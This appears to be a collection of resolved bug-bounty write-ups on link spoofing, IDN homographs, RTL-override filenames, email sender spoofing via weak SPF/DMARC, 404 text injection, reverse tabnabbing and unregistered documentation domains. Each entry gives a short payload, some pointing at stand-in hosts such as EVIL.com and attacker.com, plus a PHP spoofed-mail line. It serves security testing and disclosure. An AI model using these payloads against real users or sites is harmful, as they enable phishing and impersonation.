The link renderer's scheme/host detection could be defeated with a backslash so an IDN homograph host (Cyrillic characters, e.g. ebay.com look-alike) rendered as a trusted-looking link and/or skipped the external-link warning, enabling convincing phishing.
Method
- Register/point a homograph IDN domain (Latin look-alike via Cyrillic chars)
- Craft a markdown link using a backslash to bypass the URL parser's scheme handling
- Rendered link displays the legitimate name but resolves to the homograph domain (and may skip the interstitial)
[http://ebay.com](https:\\//e<cyrillic-a>bay.com)
Insight — Test URL parsers/anti-phishing interstitials with backslashes, IDN homoglyphs, and alternate views (raw/escalate/preview); incomplete fixes commonly forget a delimiter (backslash) or a code path (a secondary view) that re-enables homograph link spoofing.
Real-world example
Helpdesk ticket injection via spoofed From header (email-to-ticket)
◆ Info
Specimen #2079502 · security · 1000 · 17 votes · resolved
Program securitySurface webTag account-takeover
Root cause
An email-to-ticket helpdesk creates/associates tickets based solely on the unauthenticated SMTP From address, which is trivially spoofable, letting an attacker file tickets as any victim.
Method
- Find the support intake address (e.g. support@target.com) that turns inbound email into helpdesk tickets.
- Send a spoofed email with the victim's address as From and support@target.com as To (via an open relay / spoofing service like emkei.cz).
- A ticket appears in the victim's helpdesk account authored 'by' them, with attacker-controlled content.
From: victim@example.com
To: support@target.com
Subject: (attacker-controlled)
(attacker body appears as the victim's support ticket)
Insight — Any 'email in -> object created' pipeline (helpdesk, mailing list, comment-by-email, CI triggers) that trusts From is spoofable unless SPF/DKIM/DMARC are enforced on intake. Always test whether spoofed sender creates authenticated-looking state.
Real-world example
Reflected text/content injection in error (404) page for phishing
◆ Info
Specimen #106350 · withinsecurity · USD 250 · 15 votes · resolved
Program withinsecuritySurface webTag subdomain-takeover
Root cause
The 404/error page reflects part of the requested URL path into the response body without encoding, letting an attacker place arbitrary text (and a lure link) in a page served from the trusted origin.
Method
- Request a non-existent path containing attacker text (URL-encoded).
- Confirm the text is reflected verbatim in the 404 body.
- Craft a URL whose reflected text reads as an official notice pointing victims to an attacker site.
https://TARGET/test/%2f../It%20has%20been%20changed%20by%20a%20new%20one%20https://EVIL.com%20so%20go%20there
Insight — Error pages and 'not found' handlers often echo the path/host; even without HTML execution, plain text injection on a trusted domain is a credible phishing/content-spoofing primitive.
Real-world example
IDN homograph rendered in unicode instead of punycode
◆ Info
Specimen #29491 · security · awarded · 13 votes · resolved
Program securitySurface web
Root cause
User-controlled URLs/links are displayed with their unicode (IDN) form, so lookalike Cyrillic/Greek glyphs render as a trusted brand; only the punycode form reveals the deception.
Method
- Register a lookalike IDN (e.g. Cyrillic a in ebay.com -> xn--eby-7cd.com)
- Submit it where the app displays URLs/links (reports, messages, external-link warning pages)
- App renders the unicode form, appearing to be the real domain
http://ebаy.com/ -> punycode: http://xn--eby-7cd.com/
Insight — Any surface that echoes user-supplied hostnames/links should show punycode (or highlight mixed scripts). Test messaging, profile links, and 'you are leaving' interstitials with mixed-script domains.
Real-world example
U+202E RTL-override in filenames disguises executables
◆ Info
Specimen #298 · security · awarded · 11 votes · resolved
Program securitySurface web
Root cause
Uploaded filenames are displayed without stripping the Unicode RIGHT-TO-LEFT OVERRIDE (U+202E), so the visible extension is reversed and a dangerous file looks like a harmless image/media file.
Method
- Name a malicious file so a U+202E precedes a reversed benign suffix
- Upload it where the app shows the filename
- Panel/user sees e.g. 'insane...exe.mp3' or 'poppa.png' and opens it
insane_in_the_cort<U+202E>3pm.exe -> renders as insane_in_the_cortexe.mp3
po<U+202E>gnp.app -> renders as poppa.png
Insight — Strip/neutralize bidi control chars (U+202A-202E, U+2066-2069) in any displayed user-supplied filename or text; test uploads and messages with an RLO before a reversed extension to disguise file type.
Real-world example
Link-domain highlighting defeated by URL userinfo '@' component
◆ Info
Specimen #113070 · security · none · 6 votes · resolved
Program securitySurface webTag account-takeover
Root cause
A redirect/interstitial page that highlights the destination domain parsed only the segment after '@', so a URL like real.com@attacker.com displayed real.com as the domain while actually pointing at attacker.com.
Method
- Craft an external link whose userinfo section contains a trusted-looking host and whose real host follows the '@'
- Feed it through the app's link-display/redirect page
- Observe the app highlights/labels the wrong segment, misrepresenting where the user is sent
http://hackerone.com@yandex.ru/
<a href="https://trusted.com@attacker.com/">https://trusted.com...</a>
Insight — When testing any 'you are leaving / go to external site' interstitial or link-domain label, inject a userinfo '@' and Unicode/percent tricks: display logic that anchors on the wrong URL segment becomes a phishing aid. Browsers also re-interpret malformed URLs, so highlighting can silently drop entirely.
Real-world example
Email spoofing via permissive SPF (?all / no DMARC)
◆ Info
Specimen #34112 · blockio · awarded · 4 votes · resolved
Program blockioSurface other
Root cause
Domain publishes a soft-fail SPF record (v=spf1 include:... ?all) and no enforcing DMARC, so mail from arbitrary senders claiming the domain isn't rejected, enabling convincing spoofed phishing from support@<domain>.
Method
- Enumerate the domain's SPF/DMARC: dig TXT domain and _dmarc.domain
- Look for ?all (neutral) or ~all without p=reject/quarantine DMARC
- Send a spoofed From: support@domain email to demonstrate delivery
dig +short TXT block.io # v=spf1 include:spf.mandrillapp.com ?all (weak)
dig +short TXT _dmarc.block.io # missing/none => spoofable
# fix: change ?all to -all and publish DMARC p=reject
<?php mail('victim@x.com','Password Change','...',"From: support@block.io"); ?>
Insight — Always audit SPF (-all vs ?all/~all/+all) plus DMARC enforcement; a soft-fail/neutral SPF with no DMARC p=reject is a directly demonstrable spoofing/phishing primitive. Low severity but consistently in scope.
Real-world example
Reverse tabnabbing via window.opener on target=_blank links
◆ Info
Specimen #181225 · paragonie · awarded · 3 votes · resolved
Program paragonieSurface web
Root cause
Links opened with target=_blank without rel="noopener" leave the opener page reachable via window.opener; the newly opened (possibly attacker-controlled) page can navigate the original tab to a phishing clone.
Method
- Find a target=_blank link on the app that lacks rel=noopener noreferrer.
- Control the destination (own site, or a http page you can MITM).
- From the opened page run window.opener.location = attacker URL to silently replace the original tab.
window.opener.location = 'http://phishingsite.com/'
Insight — Grep templates/JS for target="_blank" without rel="noopener". Even outbound links to third parties are exploitable if that third-party page is attacker-influenced or served over http on a shared network.
Real-world example
Dangling/unregistered domain referenced in official documentation
◆ Info
Specimen #218705 · security · none · 17 votes · resolved
Program securitySurface webTag subdomain-takeover
Root cause
Documentation lists a real-looking forwarding domain that the vendor never registered; a third party can buy it and set up catch-all mail to intercept misdirected sensitive email.
Method
- Grep docs/help articles/example configs for domains and email addresses.
- Check registration status of each referenced domain.
- Register any unowned one and add catch-all forwarding to capture email sent by confused users.
Insight — Treat every domain a vendor prints as their own (in docs, email headers, SPF includes, example configs) as attack surface; unregistered ones are cheap, high-impact intercepts.